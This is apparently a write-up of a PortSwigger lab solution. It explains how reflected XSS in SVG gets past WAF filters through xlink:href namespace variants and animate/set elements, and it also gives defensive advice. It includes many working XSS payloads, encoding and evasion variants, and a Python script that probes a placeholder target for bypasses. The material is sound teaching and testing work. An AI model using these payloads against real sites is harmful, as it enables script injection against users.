PortSwigger — 2025.12.02

SVG XSS: xlink:href Namespace Bypass

PortSwigger Reflected XSS (WAF namespace bypass) medium

Overview

This attack exploits the difference between HTML and SVG link attributes to bypass WAF filters that block href but miss xlink:href - the XML namespace version of the same attribute.

The Payload

<svg><a xlink:href="javascript:alert(1)"><text x="0" y="15">Click</text></a></svg>

Lab Context:

  • Some tags whitelisted (svg, a, text, animate, etc.)
  • ALL event handlers blocked (onclick, onerror, etc.)
  • Anchor href attribute blocked
  • Must be clickable with “Click” label

Why This Works

HTML/Modern SVG (SVG 2):

<svg><a href="https://example.com">Link</a></svg>

Legacy SVG (SVG 1.1) with XML Namespace:

<svg><a xlink:href="https://example.com">Link</a></svg>

Key Point: Browsers support BOTH for backwards compatibility, but WAFs often only filter one!

The Filter Logic Flaw

What the WAF checks:

if attribute_name == "href":
    block()

What it misses:

attribute_name: "xlink:href"  -> Not equal to "href", so ALLOWED

The filter uses simple string matching and doesn’t recognize that xlink:href is functionally equivalent to href in SVG context.

Attack Breakdown

Component Analysis

1. <svg> - The Container

  • Creates SVG (XML) parsing context
  • SVG has different attribute rules than HTML
  • Enables use of XML namespaces

2. <a> - The Anchor Element

  • In HTML: uses href
  • In SVG: supports both href AND xlink:href
  • Both work identically in browsers

3. xlink:href="javascript:alert(1)" - The Bypass

  • xlink: = XML namespace prefix (XML Linking Language)
  • Legacy SVG 1.1 syntax still fully supported
  • Filter blocks “href” but misses “xlink:href”
  • javascript: protocol executes code when clicked

4. <text x="0" y="15">Click</text> - The Clickable Element

  • SVG text element displays “Click”
  • x="0" y="15" positions the text
  • Becomes clickable because it’s inside <a>
  • Required by lab to trigger user interaction

Execution Flow

User sees "Click" text
    ↓
User clicks on text
    ↓
Browser follows <a> link
    ↓
Reads xlink:href attribute
    ↓
Sees javascript: protocol
    ↓
Executes: alert(1)
    ↓
Lab solved

Why xlink:href Still Works

Browser Compatibility

SVG 1.1 Specification (2003):

  • Required xlink:href for all link references
  • Used XML namespace: xmlns:xlink="http://www.w3.org/1999/xlink"

SVG 2 Specification (2016+):

  • Simplified to plain href (matching HTML)
  • Deprecated xlink:href but didn’t remove it

Modern Browsers (All):

  • Support BOTH href and xlink:href in SVG
  • Maintain backwards compatibility with old SVG content
  • Treat them as functionally identical

The Security Gap

This creates a security gap:

Developers think: "I blocked href, links are safe"
Reality: xlink:href still works perfectly

Other Elements with xlink:href

Image element:

<svg><image xlink:href="javascript:alert(1)" /></svg>

(Doesn’t execute on click, but may load)

Use element:

<svg><use xlink:href="#x" /></svg>

(References other SVG elements)

Combining with Animation

If xlink:href is also blocked, use animation to set it dynamically:

<svg><a id="x"><animate attributeName="href" values="javascript:alert(1)" /><text x="0" y="15">Click</text></a></svg>
<svg><a><animate attributeName="xlink:href" values="javascript:alert(1)" /><text x="0" y="15">Click</text></a></svg>

Protocol Variations

If javascript: is filtered:

<svg><a xlink:href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>

Encoding Bypasses

HTML entities:

<svg><a xlink:href="javascript:alert&#40;1&#41;"><text>Click</text></a></svg>

URL encoding:

<svg><a xlink:href="javascript:alert%281%29"><text>Click</text></a></svg>

Unicode encoding:

<svg><a xlink:href="javascript:alert\u00281\u0029"><text>Click</text></a></svg>

Real-World Examples

Common WAF Patterns That Fail

Pattern 1: Simple string blocking

if 'href=' in user_input:
    return "Blocked"
# Misses: xlink:href

Pattern 2: Attribute name blocking

blocked_attrs = ['href', 'src', 'action']
if attr_name in blocked_attrs:
    return "Blocked"
# Misses: xlink:href (not in list)

Pattern 3: Case-sensitive blocking

if 'href' in user_input:
    return "Blocked"
# Misses: HREF, HrEf, xlink:href

Defense Evasion Checklist

When href is blocked, try:

  • xlink:href (namespace version)
  • HREF (case variation)
  • href with encoding (hr&#101;f)
  • Animation to set href dynamically
  • Alternative attributes (src, action, formaction)

Proper Defense Strategies

What WAFs Should Do

1. Block namespace prefixes:

blocked_attrs = ['href', 'xlink:href', 'xml:href']

2. Block dangerous protocols:

blocked_protocols = ['javascript:', 'data:', 'vbscript:']

3. Whitelist safe protocols:

allowed_protocols = ['http://', 'https://', 'mailto:']
# Only allow these in any link attribute

4. Context-aware parsing:

if tag == 'a' or tag == 'svg:a':
    for attr in ['href', 'xlink:href']:
        if attr in element.attributes:
            validate_url(element.attributes[attr])

5. Strip attributes entirely:

# Remove all href-related attributes from user input
for attr in element.attributes:
    if 'href' in attr.lower():
        element.remove_attribute(attr)

Secure Coding Practices

Input validation:

  • Validate protocol explicitly
  • Only allow http/https URLs
  • Reject javascript:, data:, and other protocols

Output encoding:

  • HTML-encode all user input
  • Use context-aware encoding libraries
  • Don’t trust client-side validation

Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'self'

Blocks inline JavaScript execution including javascript: URIs

Testing Methodology

Discovery Process

Step 1: Identify allowed tags Use Burp Intruder with SVG element list:

<svg>
<a>
<image>
<text>
<animate>

Step 2: Test standard attributes

<svg><a href="javascript:alert(1)">Click</a></svg>

Result: Blocked

Step 3: Try namespace variants

<svg><a xlink:href="javascript:alert(1)">Click</a></svg>

Result: Bypassed!

Step 4: Add required elements

<svg><a xlink:href="javascript:alert(1)"><text x="0" y="15">Click</text></a></svg>

Result: Lab solved!

Automation Script

import requests

url = "https://target.com/search"
namespace_variants = [
    'href',
    'xlink:href',
    'xml:href',
    'xmlns:href',
]

payload_template = '<svg><a {attr}="javascript:alert(1)"><text>Click</text></a></svg>'

for attr in namespace_variants:
    payload = payload_template.format(attr=attr)
    r = requests.get(url, params={'q': payload})

    if 'Blocked' not in r.text and attr in r.text:
        print(f"[+] Working bypass: {attr}")
        print(f"[+] Payload: {payload}")

Key Takeaways

  • Namespace Exploitation: XML namespaces provide alternate syntax that filters often miss
  • Backwards Compatibility: Browsers maintain old specs for compatibility, creating bypass opportunities
  • Simple String Matching Fails: WAFs using basic string matching are vulnerable to namespace variants
  • Think Beyond HTML: SVG, XML, and other specs have their own attribute systems
  • Testing Strategy: When an attribute is blocked, try:
    • Namespace prefixes (xlink:, xml:, xmlns:)
    • Case variations (HrEf, HREF)
    • Encoding variations (href)
    • Dynamic setting via animation/script
  • SVG Dynamic Attribute Setting via Animation - alternative technique using runtime attribute modification
  • Systematic XSS Testing with Burp Intruder
  • SVG Elements Reference
  • SVG Events Reference
  • XSS Testing Punch List

References


Alternative Solution: Dynamic Attribute Setting via SVG Animation

PortSwigger’s Official Solution

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

This uses a different technique than the namespace bypass - it exploits the temporal gap between HTML parsing (when WAF checks) and runtime execution (when animation runs).

Comparison: Two Valid Solutions

Solution 1: Namespace Bypass (xlink:href)

<svg><a xlink:href="javascript:alert(1)"><text>Click</text></a>
  • Method: Uses XML namespace variant
  • Timing: href set at parse time
  • Bypass: Filter misses xlink: prefix
  • Simplicity: Simpler, more direct

Solution 2: Dynamic Setting (animate)

<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>
  • Method: Dynamically sets attribute after parse
  • Timing: href set at runtime
  • Bypass: Filter checks before animation runs
  • Robustness: Works even if xlink:href is blocked

How Dynamic Animation Works

Component Breakdown

1. Empty Anchor Element

<svg><a>
  • Creates anchor with no href attribute initially
  • Passes WAF inspection (looks harmless)
  • Nothing suspicious at parse time

2. Animation Element

<animate attributeName=href values=javascript:alert(1) />
  • attributeName=href - Which attribute to modify
  • values=javascript:alert(1) - Value to set
  • No dur = applies immediately
  • Modifies parent <a> element

3. Clickable Text

<text x=20 y=20>Click me</text>
  • Creates clickable content
  • Positioned at (20, 20)
  • Inherits link behavior from <a>

Execution Timeline

Step 1: Parse Time (WAF)
<svg><a><animate...>
       ↓
  No href in <a> tag
       ↓
  WAF allows it

Step 2: Runtime
Animation engine activates
       ↓
<animate> sets href on <a>
       ↓
<a href="javascript:alert(1)">

Step 3: User Clicks
User clicks text
       ↓
JavaScript executes
       ↓
alert(1) runs

The Bypass Mechanism

Parse Time vs Runtime:

PARSE (WAF sees):
<a>  ← No href
  <animate attributeName=href>
</a>
WAF: "Safe!"

RUNTIME (Browser):
<a href="javascript:alert(1)">
  ← Animation sets href
</a>
Dangerous!

Why filters miss this:

  1. WAF inspects at parse time
  2. <a> has no href initially
  3. WAF approves it
  4. Animation runs later
  5. href gets set dynamically
  6. Too late - already passed filter!

SVG Animation Attributes

attributeName

Specifies which attribute to animate:

<animate attributeName=href />
<animate attributeName=fill />

values

What value(s) to set:

<animate values=javascript:alert(1) />
<animate values="red;blue;green" />

Optional: dur, begin

<animate dur="1s" />  <!-- Duration -->
<animate begin="2s" /> <!-- Start time -->
<animate />           <!-- Immediate -->

Why This Bypasses Multiple Filters

String Pattern Matching

if 'href=' in html:
    block()

Bypassed - No ‘href=’ initially

Attribute Inspection

if element.has_attribute('href'):
    block()

Bypassed - No href at inspection

Protocol Filtering

if 'javascript:' in element.href:
    block()

Bypassed - href doesn’t exist yet

Namespace Blocking

if 'xlink:href' in attrs:
    block()

Bypassed - href set dynamically

Variations

Using <set> Instead

<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>

Simpler - just sets value

Combining Both Techniques

<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text>Click</text></a>

Namespace + Dynamic = Double bypass!

Delayed Execution

<svg><a><animate attributeName=href values=javascript:alert(1) begin=2s /><text>Wait 2s then click</text></a>

Testing Workflow

Step 1: Try Static

<svg><a href="javascript:alert(1)">Click</a>
<svg><a xlink:href="javascript:alert(1)">Click</a>

Step 2: Try Dynamic

<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>

Step 3: Combine

<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text>Click</text></a>

Step 4: Alternative Elements

<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>

Defense Requirements

To block both techniques:

# Block namespace variants
if 'href' in attrs or 'xlink:href' in attrs:
    block()

# Block dynamic setting
if tag in ['animate', 'set']:
    if get_attr('attributeName') in ['href', 'xlink:href']:
        block()

# Block protocol everywhere
if 'javascript:' in html.lower():
    block()

Ultimate defense: CSP

Content-Security-Policy: script-src 'self'

Blocks all javascript: URIs regardless of technique

Key Insights

  • Temporal Evasion: Animation sets attributes after filter checks
  • Static Evasion: Namespaces bypass string matching
  • Combine Them: Maximum evasion potential
  • SMIL Power: Can modify any SVG attribute
  • Defense Needs Both: Must check initial state AND dynamic changes

Summary Table

Aspect Static (xlink:href) Dynamic (animate)
Method Namespace variant Runtime attribute setting
Timing Parse time Runtime
Complexity Simpler Slightly more complex
Robustness Fails if namespace blocked Works if animate allowed
Best For Quick wins Defense in depth
#xss #svg #xlink #namespace-bypass #waf-bypass #javascript-uri #portswigger #webapp